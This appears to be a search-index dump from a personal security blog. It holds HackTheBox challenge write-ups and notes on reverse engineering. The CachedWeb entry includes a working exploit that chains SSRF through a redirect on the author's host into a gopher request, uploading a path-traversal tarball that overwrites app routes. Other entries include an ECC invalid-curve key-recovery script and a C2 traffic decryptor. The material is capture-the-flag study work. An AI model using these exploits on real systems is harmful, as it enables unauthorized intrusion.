[{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Agriweb-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code","nodejs"],"title":"HackTheBox Agriweb Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CommNet-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code","nodejs"],"title":"HackTheBox CommNet Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cred-Hunter-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code"],"title":"HackTheBox Cred Hunter Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Flagportation-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto"],"title":"HackTheBox Flagportation Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-FlappyFlopper-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","unity-mono","unity-il2cpp"],"title":"HackTheBox FlappyFlopper Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hexecution-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","angr"],"title":"HackTheBox Hexecution Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hydroadmin-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code","nodejs"],"title":"HackTheBox Hydroadmin Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Jigsaw-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android","frida"],"title":"HackTheBox Jigsaw Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Not-Posixtive-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Not Posixtive Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Phoenix-Pipeline-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code","php"],"title":"HackTheBox Phoenix Pipeline Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-PINsmith-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code"],"title":"HackTheBox PINsmith Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Pivot-Chain-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code"],"title":"HackTheBox Pivot Chain Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Powergrid-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code","nodejs"],"title":"HackTheBox Powergrid Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Resourcehub-Core-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","code"],"title":"HackTheBox Resourcehub Core Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Social-Media-Investigation-Hub-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","osint"],"title":"HackTheBox Social Media Investigation Hub Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Suspicious-Domain-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","osint"],"title":"HackTheBox The Suspicious Domain Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Suspicious-Reviewer-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","osint"],"title":"HackTheBox The Suspicious Reviewer Challenge"},{"categories":["challenge"],"contents":"","date":"2026-06-06T00:00:00+02:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-TicTacToed-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","pwn","bof","format-string","heap"],"title":"HackTheBox TicTacToed Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/503\nDescription I made a service for people to cache their favourite websites, come and check it out!\nExploitation The docker build produced library errors in ./configure --with-ssl --prefix=/usr/local during compilation, so I used a repository that provided the required pkg curl 7.52.1.\nGet an alphine shell to test and find the errors\ndocker run --rm -it python:3-alpine sh Fixed Dockerfile\nFROM python:3-alpine # Install packages RUN apk add --update --no-cache chromium chromium-chromedriver supervisor openssl build-base # Install \u0026amp; compile curl 7.52 #RUN cd /usr/local/ #RUN apk add curl #RUN apk add --no-cache gcc musl-dev curl-dev python3-dev libffi-dev openssl-dev #RUN wget https://curl.haxx.se/download/curl-7.52.0.tar.gz \u0026amp;\u0026amp; tar xfz curl-7.52.0.tar.gz z #RUN cd curl-7.52.0/ \u0026amp;\u0026amp; ./configure --with-ssl --prefix=/usr/local \u0026amp;\u0026amp; make -j 16 \u0026amp;\u0026amp; make install #RUN export PYCURL_CURL_CONFIG=/usr/local/bin/curl-config #RUN ln -s /usr/local/lib/libcurl.so.4 /usr/lib/libcurl.so.4 # https://mirrors.ircam.fr/pub/alpine/v3.2/main/x86_64/ RUN echo \u0026#34;https://mirrors.ircam.fr/pub/alpine/v3.2/main\u0026#34; \u0026gt;\u0026gt; /etc/apk/repositories \u0026amp;\u0026amp; \\ apk update \u0026amp;\u0026amp; \\ apk add --no-cache --allow-untrusted libcrypto1.0 libssl1.0 curl=7.52.1-r1 curl-dev=7.52.1-r1 # Cleanup #RUN rm -rf curl-* # Upgrade pip RUN python -m pip install --upgrade pip # Install dependencies RUN pip install pycurl selenium Flask # Setup app RUN mkdir -p /app # Switch working environment WORKDIR /app # Add application COPY challenge . # Setup supervisor COPY config/supervisord.conf /etc/supervisord.conf # Expose port the server is reachable on EXPOSE 1337 # Disable pycache ENV PYTHONDONTWRITEBYTECODE=1 # Run supervisord CMD [\u0026#34;/usr/bin/supervisord\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;/etc/supervisord.conf\u0026#34;] ZipSlip Example\nUse a vps to fwd local port 3000 to the vps with open ports or use something like ngrok\nssh -N -R 3000:localhost:3000 server Poc\nimport tarfile, time, io routes = \u0026#39;\u0026#39;\u0026#39; from flask import Blueprint web = Blueprint(\u0026#39;web\u0026#39;, __name__) api = Blueprint(\u0026#39;api\u0026#39;, __name__) @web.route(\u0026#39;/\u0026#39;) def f(): return open(\u0026#39;/app/flag\u0026#39;).read() \u0026#39;\u0026#39;\u0026#39; zipslip = io.BytesIO() tar = tarfile.open(fileobj=zipslip, mode=\u0026#39;w:gz\u0026#39;) info = tarfile.TarInfo(\u0026#39;../app/application/blueprints/routes.py\u0026#39;) info.mtime = time.time() info.size = len(routes) tar.addfile(info, io.BytesIO(routes.encode())) tar.close() body=b\u0026#39;\u0026#39;.join([ b\u0026#39;--htb\\r\\n\u0026#39;, b\u0026#39;Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;htb.tar\u0026#34;\\r\\n\u0026#39;, b\u0026#39;Content-Type: application/x-tar\\r\\n\\r\\n\u0026#39;, zipslip.getvalue(),b\u0026#39;\\r\\n\u0026#39;, b\u0026#39;--htb--\\r\\n\u0026#39; ]) req=(b\u0026#39;POST /api/upload HTTP/1.1\\r\\n\u0026#39; b\u0026#39;Host: 127.0.0.1:1337\\r\\n\u0026#39; b\u0026#39;Content-Type: multipart/form-data; boundary=htb\\r\\n\u0026#39; b\u0026#39;Connection: close\\r\\n\u0026#39; b\u0026#39;Content-Length: \u0026#39;+str(len(body)).encode()+b\u0026#39;\\r\\n\\r\\n\u0026#39;)+body print(req.decode(\u0026#39;latin-1\u0026#39;,\u0026#39;replace\u0026#39;)) from urllib.parse import quote_from_bytes url=\u0026#39;gopher://127.0.0.1:1337/_\u0026#39;+quote_from_bytes(req,safe=\u0026#39;\u0026#39;) print(url) import threading,json,urllib.request,time from http.client import RemoteDisconnected from http.server import BaseHTTPRequestHandler,HTTPServer class H(BaseHTTPRequestHandler): def log_message(self,*a,**k): pass def do_GET(self): self.send_response(302) self.send_header(\u0026#34;Location\u0026#34;,url) self.send_header(\u0026#34;Connection\u0026#34;,\u0026#34;close\u0026#34;) self.send_header(\u0026#34;Content-Length\u0026#34;,\u0026#34;0\u0026#34;) self.end_headers() threading.Timer(0.2,self.server.shutdown).start() httpd=HTTPServer((\u0026#34;0.0.0.0\u0026#34;,3000),H) threading.Thread(target=httpd.serve_forever,daemon=True).start() target=\u0026#39;http://localhost:1337\u0026#39; remote=\u0026#39;x3ric.com:3000\u0026#39; data=json.dumps({\u0026#34;url\u0026#34;:f\u0026#34;http://foo@{remote}@google.com/\u0026#34;}).encode() req=urllib.request.Request(target+\u0026#34;/api/cache\u0026#34;,data=data,headers={\u0026#34;Content-Type\u0026#34;:\u0026#34;application/json\u0026#34;}) try: with urllib.request.urlopen(req,timeout=10) as r: r.read(1) except RemoteDisconnected: pass time.sleep(0.3) httpd.server_close() with urllib.request.urlopen(target,timeout=10) as r: print(\u0026#39;\\n\u0026#39;+str(r.getcode()),r.read(200)) Summary CachedWeb: chain SSRF with path control to reach the internal target and read the flag.\n","date":"2025-09-23T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CachedWeb-Challenge/","protected":null,"snippet":"CachedWeb: chain SSRF with path control to reach the internal target and read the flag.","tags":["htb","web","ssrf","path-traversal","file-upload","rce","flask"],"title":"HackTheBox CachedWeb Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/529\nDescription Arodor has been distributing promotional license keys to users across the world. We suspect that there could be some backdoor in this \u0026lsquo;special gift\u0026rsquo; - can you investigate?\nExploitation tshark -r ./capture.pcapng -Y \u0026#34;tcp.stream eq 0 and tcp.len \u0026gt; 0\u0026#34; -T fields -e tcp.payload | tr -d \u0026#39;\\ \u0026#39; | xxd -r -p \u0026gt; ./tcp_data.bin import ctypes with open(\u0026#39;./tcp_data.bin\u0026#39;, \u0026#39;rb\u0026#39;) as f: data = f.read() print(\u0026#39;Parsing C2 communication...\u0026#39;) offset = 0 if data[offset:offset+4] == b\u0026#39;auth\u0026#39;: offset += 4 print(\u0026#39;Found auth marker\u0026#39;) offset += 1 c2_key = data[offset:offset+8] offset += 8 print(f\u0026#39;C2 key: {c2_key.hex()}\u0026#39;) offset += 1 offset += 8 shell_len = int.from_bytes(data[offset:offset+2], \u0026#39;little\u0026#39;) offset += 2 print(f\u0026#39;Shellcode length: {shell_len}\u0026#39;) offset += shell_len file_len = int.from_bytes(data[offset:offset+4], \u0026#39;little\u0026#39;) offset += 4 print(f\u0026#39;Encrypted file length: {file_len}\u0026#39;) encrypted_file = data[offset:offset+file_len] print(f\u0026#39;Read {len(encrypted_file)} bytes of encrypted file\u0026#39;) obfarray = bytearray(b\u0026#39;uwuxxowo\u0026#39;) key = bytearray(c2_key) final = bytearray(8) second_xor = bytearray(b\u0026#39;1t5_n0t_th4t_34sy_but_y0u_4r3_pr3tty_cl0s3:)\u0026#39;) plus = bytearray(b\u0026#39;th1s_w1ll_sur3ly_k33p_th1s_pr0t3ct3d\u0026#39;) for i in range(8): final[i] = obfarray[i] ^ key[i] print(f\u0026#39;Final XOR key: {final.hex()}\u0026#39;) decrypted_data = bytearray(encrypted_file) payload_len = len(encrypted_file) for i in range(payload_len): decrypted_data[i] ^= second_xor[i % 44] for i in range(payload_len): decrypted_data[i] = ctypes.c_uint8(decrypted_data[i] - plus[i % 36]).value for i in range(payload_len): decrypted_data[i] ^= final[i % 8] with open(\u0026#39;./flag.png\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(decrypted_data) print(\u0026#39;Saved as ./flag.png\u0026#39;) Look at the image and get the flag\nSummary LicenseGenerator: recover the XOR transform from the binary and invert it to reveal the flag.\n","date":"2025-06-27T01:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LicenseGenerator/","protected":null,"snippet":"LicenseGenerator: recover the XOR transform from the binary and invert it to reveal the flag.","tags":["htb","rev","xor","linux"],"title":"HackTheBox LicenseGenerator"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/689\nDescription The crew has located a dilapidated pre-war bunker. Deep within, a dusty control panel reveals that it was once used for communication with a low-orbit observation satellite. During the war, actors on all sides infiltrated and hacked each others systems and software, inserting backdoors to cripple or take control of critical machinery. It seems like this panel has been tampered with to prevent the control codes necessary to operate the satellite from being transmitted - can you recover the codes and take control of the satellite to locate enemy factions?\nExploitation reading the code you see tath it reads the env SAT_PROD_ENVIRONRONMENT\nand you can extract the memfrob bytearray with gdb if you set the env but this time i will extract the array values \u0026ldquo;statically\u0026rdquo;.\nmemfrob xor 42\ndata = open(\u0026#39;./library.so\u0026#39;, \u0026#39;rb\u0026#39;).read() flag_bytes = [] flag_bytes.extend(data[0x1223:0x122b]) flag_bytes.extend(data[0x122d:0x1235]) flag_bytes.extend(data[0x1241:0x1249]) flag_bytes.extend(data[0x124b:0x1253]) for addr in range(0x1253, 0x1270): b = data[addr] if b ^ 42 == ord(\u0026#39;]\u0026#39;): flag_bytes.append(b) break decoded = bytearray(b ^ 42 for b in flag_bytes) for i in range(len(decoded)): decoded[i] ^= i print(\u0026#34;HTB{\u0026#34; + decoded.decode()) Summary SatelliteHijack: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2025-06-27T01:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-SatelliteHijack/","protected":null,"snippet":"SatelliteHijack: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","gdb","xor","linux"],"title":"HackTheBox SatelliteHijack"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/368\nDescription After the takeover of Felonious Forums, we\u0026rsquo;ve managed to identify and apprehend a low-level MonkeyBusiness APT operative. The developer was in charge of reselling components of the Zoid malware family. During a forensics investigation of the operative\u0026rsquo;s computer, we obtained the prototype source code of the TLS-based proxy service, which was used to obfuscate C2 traffic between the compromised machines to evade interception/detection. The remote host is still up, but the ssh keys we found have since been invalidated. During an assessment of the component\u0026rsquo;s source code, it looks like the key for the TLS-encrypted traffic is generated using the ECDH protocol with the P-256 curve, which is the most common curve on the Internet. Can you find a way to retrieve the proxy service\u0026rsquo;s private key?\nSource source.py\nfrom Crypto.Util.number import inverse, bytes_to_long import socketserver import signal from secret import FLAG a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff E = {\u0026#39;a\u0026#39;: a, \u0026#39;b\u0026#39;: b, \u0026#39;p\u0026#39;: p} class Handler(socketserver.BaseRequestHandler): def handle(self): signal.alarm(0) main(self.request) class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer): pass def sendMessage(s, msg): s.send(msg.encode()) def recieveMessage(s, msg): sendMessage(s, msg) return s.recv(4096).decode().strip() def add(P, Q, E): if (P == (0, 0)): return Q elif (Q == (0, 0)): return P else: Ea, Ep = E[\u0026#39;a\u0026#39;], E[\u0026#39;p\u0026#39;] x1, y1 = P x2, y2 = Q if ((x1 == x2) \u0026amp; (y1 == -y2)): return ((0, 0)) else: if (P != Q): l = (y2 - y1) * inverse(x2 - x1, Ep) else: l = (3 * (x1**2) + Ea) * inverse(2 * y1, Ep) x3 = ((l**2) - x1 - x2) % Ep y3 = (l * (x1 - x3) - y1) % Ep return x3, y3 def multiply(P, n, E): Q = P R = (0, 0) while (n \u0026gt; 0): if (n % 2 == 1): R = add(R, Q, E) Q = add(Q, Q, E) n = n // 2 return R def main(s): sendMessage(s, \u0026#34;Establising the TLS handsake...\\n\u0026#34;) while True: C = recieveMessage(s, \u0026#34;Awaiting public key of the client...\\n\u0026#34;) try: x, y = [int(i) for i in C.strip().split()] S = multiply((x, y), bytes_to_long(FLAG), E) sendMessage(s, f\u0026#34;Shared secret: {S}\\n\u0026#34;) except: sendMessage(s, f\u0026#34;Error occured!\\n\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: socketserver.TCPServer.allow_reuse_address = True server = ReusableTCPServer((\u0026#34;0.0.0.0\u0026#34;, 1337), Handler) server.serve_forever() Exploitation #!/usr/bin/env python3 from Crypto.Util.number import long_to_bytes from pwn import log, remote, sys from sage.all import crt, discrete_log, EllipticCurve, factor, GF a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff Fp = GF(p) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) def get_shared_secret(b): E = EllipticCurve(Fp, [a, b]) G = E.gens()[0] io = remote(host, int(port)) io.sendlineafter(b\u0026#39;Awaiting public key of the client...\\n\u0026#39;, f\u0026#39;{G[0]} {G[1]}\u0026#39;.encode()) io.recvuntil(b\u0026#39;Shared secret: \u0026#39;) S = E(eval(io.recvline().decode())) io.close() return E.order(), G, factor(E.order()), S def collect_dlogs(S, G, order, factors, skip, moduli, residues): for p, e in factors[skip[0]:skip[1]]: n = p ** e t = order // n moduli.append(n) residues.append(discrete_log(t * S, t * G, operation=\u0026#39;+\u0026#39;)) def main(): moduli, residues = [], [] for b, skip in [(0, (0, -2)), (1, (0, -1)), (4, (1, -3))]: order, G, factors, S = get_shared_secret(b) collect_dlogs(S, G, order, factors, skip, moduli, residues) log.success(long_to_bytes(crt(residues, moduli)).decode()) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary 400Curves: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.\n","date":"2025-05-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-400Curves-Challenge/","protected":null,"snippet":"400Curves: turn the RSA leak into a lattice recovery, rebuild the secret values, and decrypt the flag.","tags":["htb","crypto","rsa","lattice","ecc"],"title":"HackTheBox 400Curves Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/445\nDescription Whatever you do, don\u0026rsquo;t fall asleep\u0026hellip; In dream land, math works a little differently. A quiz is coming up. If you fail in your sleep, you fail in real life!\nExploitation #!/usr/bin/env python3 from pwn import log, remote, sys def main(): if len(sys.argv) != 2: log.error(f\u0026#39;Usage: python3 {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) r = remote(host, int(port)) prog = log.progress(\u0026#39;Round\u0026#39;) for i in range(500): r.recvuntil(b\u0026#39;]: \u0026#39;) operation = r.recvline()[:-5].decode() result = eval(\u0026#39;(\u0026#39; + operation.replace(\u0026#39; * \u0026#39;, \u0026#39;) * (\u0026#39;) + \u0026#39;)\u0026#39;) r.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, str(result).encode()) prog.status(f\u0026#39;{i + 1} / 500\u0026#39;) prog.success(f\u0026#39;500 / 500\u0026#39;) log.success(r.recvline().decode().strip()) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary A Nightmare On Math Street: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-05-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-A-Nightmare-On-Math-Street-Challenge/","protected":null,"snippet":"A Nightmare On Math Street: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox A Nightmare On Math Street Challenge"},{"categories":["challenge"],"contents":"","date":"2025-05-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Defusal-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Defusal Challenge"},{"categories":["notes"],"contents":"This is a compact workflow reference for reversing small binaries: preserve C semantics in Python, drive local targets reproducibly, parse binary layouts explicitly, and inspect ELF shared-object boundaries.\nFor vectorized loops, packed math, and compiler intrinsics, use the related Intrinsics note.\nC Semantics In Python When porting C logic, preserve the behavior that Python does not model by default.\nC concern Python handling Fixed-width overflow Mask after operations with x \u0026amp; ((1 \u0026lt;\u0026lt; bits) - 1). Signedness Convert at input/output boundaries, not only at the end. Unsigned right shift Mask first, then shift. Integer division Use int(a / b) for C99 truncation toward zero. Promotions Re-apply width after operations where the C type matters. switch fallthrough Model explicitly; Python match does not fall through. Pointers Use offsets into bytearray, memoryview, ctypes, or mmap. C strings Slice bytes until \\0; Python bytes do not stop there. Struct layout Use explicit struct formats or ctypes.Structure. Unions Reuse the same bytes with ctypes.Union or multiple unpack views. Bitfields Extract with masks and shifts; compiler packing can differ. Float width Python float is usually C double; use struct.pack(\u0026quot;\u0026lt;f\u0026quot;, ...) or numpy.float32 for 32-bit behavior. Use these helpers when the exact integer width matters:\nfrom ctypes import c_int32, c_uint32 def to_i32(x: int) -\u0026gt; int: return c_int32(x).value def to_u32(x: int) -\u0026gt; int: return c_uint32(x).value def unsigned(x: int, bits: int = 32) -\u0026gt; int: return x \u0026amp; ((1 \u0026lt;\u0026lt; bits) - 1) def signed(x: int, bits: int = 32) -\u0026gt; int: x \u0026amp;= (1 \u0026lt;\u0026lt; bits) - 1 sign = 1 \u0026lt;\u0026lt; (bits - 1) return x - (1 \u0026lt;\u0026lt; bits) if x \u0026amp; sign else x def c_div(a: int, b: int) -\u0026gt; int: return int(a / b) def c_mod(a: int, b: int) -\u0026gt; int: return a - c_div(a, b) * b def shl(x: int, n: int, bits: int = 32) -\u0026gt; int: return unsigned(x \u0026lt;\u0026lt; n, bits) def shr_u(x: int, n: int, bits: int = 32) -\u0026gt; int: return unsigned(x, bits) \u0026gt;\u0026gt; n def shr_s(x: int, n: int, bits: int = 32) -\u0026gt; int: return signed(x, bits) \u0026gt;\u0026gt; n def hx(x: int, bits: int = 32) -\u0026gt; str: return f\u0026#34;0x{unsigned(x, bits):0{bits // 4}X}\u0026#34; Binary layout helpers:\nimport struct def p32(x: int) -\u0026gt; bytes: return struct.pack(\u0026#34;\u0026lt;I\u0026#34;, unsigned(x, 32)) def u32(buf: bytes, off: int = 0) -\u0026gt; int: return struct.unpack_from(\u0026#34;\u0026lt;I\u0026#34;, buf, off)[0] def cstr(buf: bytes, off: int = 0) -\u0026gt; bytes: end = buf.find(b\u0026#34;\\0\u0026#34;, off) return buf[off:] if end \u0026lt; 0 else buf[off:end] Before trusting a port, compare intermediate values against the original binary or a tiny C harness. Test 0, 1, -1, max signed, min signed, high-bit set values, short buffers, and null bytes.\nPython Process Harness A harness should make the run reproducible: exact path, exact input, exact environment, captured stdout/stderr, return code, and timeout.\nMinimal runner:\nfrom pathlib import Path import subprocess target = Path(\u0026#34;./program\u0026#34;).resolve() def run(payload: bytes = b\u0026#34;\u0026#34;, args=(), timeout: float = 5, env=None): proc = subprocess.run( [str(target), *args], input=payload, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=timeout, check=False, env=env, ) return proc.returncode, proc.stdout, proc.stderr code, out, err = run(b\u0026#34;A\u0026#34; * 24 + b\u0026#34;\\n\u0026#34;) print(out.decode(errors=\u0026#34;replace\u0026#34;)) print(err.decode(errors=\u0026#34;replace\u0026#34;)) print(\u0026#34;returncode:\u0026#34;, code) Make environment changes local to the harness:\nimport os env = os.environ.copy() env[\u0026#34;LC_ALL\u0026#34;] = \u0026#34;C\u0026#34; env[\u0026#34;PYTHONHASHSEED\u0026#34;] = \u0026#34;0\u0026#34; code, out, err = run(b\u0026#34;test\\n\u0026#34;, env=env) assert code in (0, 1) Use subprocess.Popen only when the target needs staged interaction:\nproc = subprocess.Popen( [str(target)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) out, err = proc.communicate(b\u0026#34;input\\n\u0026#34;, timeout=5) print(proc.returncode, out, err) For local preload experiments, keep the hook path explicit:\nfrom pathlib import Path import os root = Path(\u0026#34;./scratch\u0026#34;).resolve() target = root / \u0026#34;program\u0026#34; hook = root / \u0026#34;tap.so\u0026#34; env = os.environ.copy() env[\u0026#34;LD_PRELOAD\u0026#34;] = str(hook) Then pass env into the runner. If the hook changes behavior, the harness should make the change visible in stdout, stderr, return code, or a saved trace.\nELF And Shared Objects Changing an ELF type field does not make an arbitrary executable behave like a shared library. Prefer one of these workflows:\nInspect the binary to understand type, imports, exports, relocations, and entry points. Patch metadata on an actual shared object. Build a wrapper from source or a relocatable object. Load a real shared object from Python with an explicit ABI. Inspect first:\nfile ./target readelf -h -l -d ./target readelf -Ws ./target | less objdump -d -M intel ./target | less objdump -T ./libtarget.so | less Patch metadata only when the input is already a suitable shared object:\npatchelf --print-soname ./libtarget.so patchelf --set-soname libtarget.so ./libtarget.so patchelf --print-rpath ./libtarget.so patchelf --set-rpath \u0026#39;$ORIGIN\u0026#39; ./libtarget.so When a relocatable object is available, build a wrapper:\n/* wrapper.c */ extern int main(int, char **); int target_main(int argc, char **argv) { return main(argc, argv); } gcc -fPIC -shared -o wrapper.so wrapper.c target.o Load it from Python:\nimport ctypes lib = ctypes.CDLL(\u0026#34;./wrapper.so\u0026#34;) lib.target_main.argtypes = [ctypes.c_int, ctypes.POINTER(ctypes.c_char_p)] lib.target_main.restype = ctypes.c_int Use ctypes only after defining argtypes and restype. Incorrect ABI assumptions can turn a small experiment into misleading output.\nReferences Python subprocess documentation Python struct documentation Python ctypes documentation Intrinsics GNU Binutils readelf documentation GNU Binutils objdump documentation patchelf manual ","date":"2025-04-13T15:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Reversing/","protected":null,"snippet":"Practical reversing helpers for porting C logic to Python, driving local binaries, modeling binary layouts, and experimenting with ELF shared objects.","tags":["notes","reversing","python","elf"],"title":"Reversing"},{"categories":["systems","notes"],"contents":"What Intrinsics Are Intrinsics are compiler-provided functions that expose CPU operations without writing inline assembly. SIMD intrinsics are the common case: one operation works on multiple lanes inside a vector register.\nSIMD means Single Instruction, Multiple Data:\nscalar: c0 = a0 + b0 c1 = a1 + b1 c2 = a2 + b2 c3 = a3 + b3 SIMD: c[0..3] = a[0..3] + b[0..3] Intrinsics are useful when reversing optimized binaries because compiler output often maps back to recognizable operations: loads, stores, packed arithmetic, comparisons, shuffles, masks, and reductions.\nCore Terms Term Meaning Lane One element inside a vector register. Vector width Total register width, such as 128, 256, or 512 bits. Element width Per-lane type width, such as 8, 16, 32, or 64 bits. Packed integer Multiple integer lanes in one vector. Packed float Multiple floating-point lanes in one vector. Intrinsic C/C++ function-like wrapper that maps to one or more SIMD instructions. Auto-vectorization Compiler turns scalar loops into SIMD automatically. Horizontal operation Reduces across lanes, such as sum of all lanes. Saturating arithmetic Clamps on overflow instead of wrapping. Common in media code. Shuffle/permute Reorders lanes within or across vectors. Mask/predicate Per-lane enable/disable control for an operation. Main SIMD Families Platform Families Register model Where to look x86/x86-64 MMX, SSE, SSE2, SSSE3, SSE4, AVX, AVX2, AVX-512, AVX10 Fixed width: XMM 128-bit, YMM 256-bit, ZMM 512-bit Intel Intrinsics Guide, Intel/AMD manuals, uops.info Arm A/R-profile Neon / Advanced SIMD Fixed width: 64-bit and 128-bit vectors Arm Neon Intrinsics Reference, ACLE Arm A-profile SVE / SVE2 Scalable vector length, predicate-driven Arm ACLE SVE docs, Arm Learning Paths Arm M-profile MVE / Helium Embedded/Microcontroller vector extension Arm MVE Intrinsics Reference RISC-V RVV Scalable vector length RISC-V Vector spec and compiler docs Power VSX/AltiVec Fixed-width vectors IBM/OpenPOWER docs Where To Find Intrinsics Need Site x86 SSE/AVX/AVX-512 intrinsics https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html Microsoft x86 intrinsic names https://learn.microsoft.com/en-us/cpp/intrinsics/x86-intrinsics-list Arm Neon intrinsics https://arm-software.github.io/acle/neon_intrinsics/advsimd.html Arm ACLE, Neon, SVE/SVE2 language extensions https://arm-software.github.io/acle/main/acle.html Arm MVE / Helium intrinsics https://arm-software.github.io/acle/mve_intrinsics/ Arm SIMD and Intrinsics Search Engine hub https://developer.arm.com/servers-and-cloud-computing/arm-simd Arm Neon overview and guides https://www.arm.com/technologies/neon Arm learning material for Neon/SVE/SME https://www.arm.com/architecture/learn-the-architecture/a-profile Arm SIMD learning paths https://learn.arm.com/learning-paths/cross-platform/simd-loops/1-about/ Arm intrinsics porting paths https://learn.arm.com/learning-paths/cross-platform/intrinsics/ GCC vector extensions https://gcc.gnu.org/onlinedocs/gcc/Vector-Extensions.html Clang vector extensions and builtins https://clang.llvm.org/docs/LanguageExtensions.html NumPy CPU/SIMD optimization docs https://numpy.org/devdocs/reference/simd/index.html Portable intrinsics with SIMDe https://github.com/simd-everywhere/simde Compile and inspect generated 